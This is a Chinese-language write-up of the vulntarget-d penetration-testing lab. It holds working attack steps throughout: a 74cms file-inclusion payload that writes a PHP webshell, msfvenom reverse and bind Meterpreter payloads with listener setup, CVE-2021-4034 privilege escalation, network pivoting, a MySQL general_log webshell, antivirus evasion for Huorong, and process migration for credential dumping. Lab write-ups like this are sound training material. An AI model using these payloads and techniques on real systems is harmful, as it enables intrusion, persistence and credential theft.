机器密码 ubuntu:eval/vulntarget win7: crow/admin 拓扑
信息收集
扫描一下存活主机与端口,发现开放了80、81、888、3306、8888端口,有宝塔的服务
访问80端口也能看出是个宝塔页面的提示
81端口是个骑士cms,从底部可以看出其版本是74cms v6.0.20,是个开源的项目并且存在已知漏洞
搜索一下可以发现应该是存在文件包含的漏洞
漏洞利用
首先POST提交payload将一句话写入到日志
代码语言:javascript复制/index.php?m=home&a=assign_resume_tpl
POST:variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
然后POST提交文件包含日志生成webshell文件
代码语言:javascript复制variable=1&tpl=data/Runtime/Logs/Home/22_12_05.log
接着就可以用蚁剑成功连接
Ubuntu提权
msf生成shell
代码语言:javascript复制msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f elf > test.elf
通过蚁剑上传并运行
代码语言:javascript复制chmod 777 shell1.elf
./test.elf
然后kali开启msf并上线
代码语言:javascript复制use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.150.128
run
反弹shell
代码语言:javascript复制python3 -c 'import pty; pty.spawn("/bin/bash")'
在桌面文件中存在一个flag:flag{welcome_to_vulntarget-d}
接着可以通过cve-2021-4034提权到root权限,先本地将其编译好再通过蚁剑上传后运行
内网渗透
可以得知内网段是205
上传fscan进行扫描
接着设置代理
代码语言:javascript复制# 添加路由
run autoroute -s 192.168.205.0/24
run autoroute -p
代码语言:javascript复制# 开启代理
use auxiliary/server/socks_proxy
set srvhost 192.168.150.128
set version 4a
run
发现存活主机:192.168.205.133
代码语言:javascript复制use auxiliary/scanner/discovery/udp_sweep
set rhosts 192.168.205.100-200
run
扫描一些常见端口,可以发现开放了80、139、445、3306
代码语言:javascript复制use auxiliary/scanner/portscan/tcp
set rhosts 192.168.205.133
set ports 22,23,80,139,445,1433,3306,3389,8080
run
或者通过frp建立代理(设置的端口不能小于3000还是多少的,现在不开了
代码语言:javascript复制./frps -c ./frps.ini
代码语言:javascript复制./frpc -c ./frpc.ini &
访问80发现就一个hello world没啥用
接着扫一下目录发现phpinfo.php、l.php和phpmyadmin
然后phpmyadmin存在弱口令root/root
这里可以发现secure_file_priv为NULL,所以我们就不能直接写文件getshell
接着尝试写日志getshell
代码语言:javascript复制# 查询general_log配置
show global variables like "%genera%";
# 开启日志
set global general_log=on;
# 修改日志文件名称和存放位置:
set global general_log_file='C:/phpstudy/PHPTutorial/www/shell.php';
# 写入一句话
select '<?php @eval($_POST[a]);?>'
蚁剑成功连接
进入后进行信息收集,不存在域也不存在下一层内网,打了四个补丁
接着检查进程是否有杀软,发现存在火绒
代码语言:javascript复制tasklist /svc
所以接下来需要bypass火绒,做一个免杀马
https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog
通过蚁剑上传jpg、bin文件和加载器
代码语言:javascript复制# 生成shellcode
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b 'x00' lport=4444 -f raw -o crowsec.jpg
启动cs,生成payload.bin
msf设置正向连接,蚁剑运行crowsec_shelllcodeBypass.exe成功上线
代码语言:javascript复制use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lhost 192.168.150.128
run
然后可以直接getsystem得到system权限
在桌面找到flag:flag{happy_new_year_vulntarget-d}
后面猕猴桃抓密码没结果
解决办法: 查看一下进程,找到crowsec_shelllcodeBypass.exe,将进程迁移到x64位上去(要迁移到system的user上),然后再次执行命令,即可获取明文密码(忘了截图也懒得再去弄一个
代码语言:javascript复制getpid
ps
migrate <pid>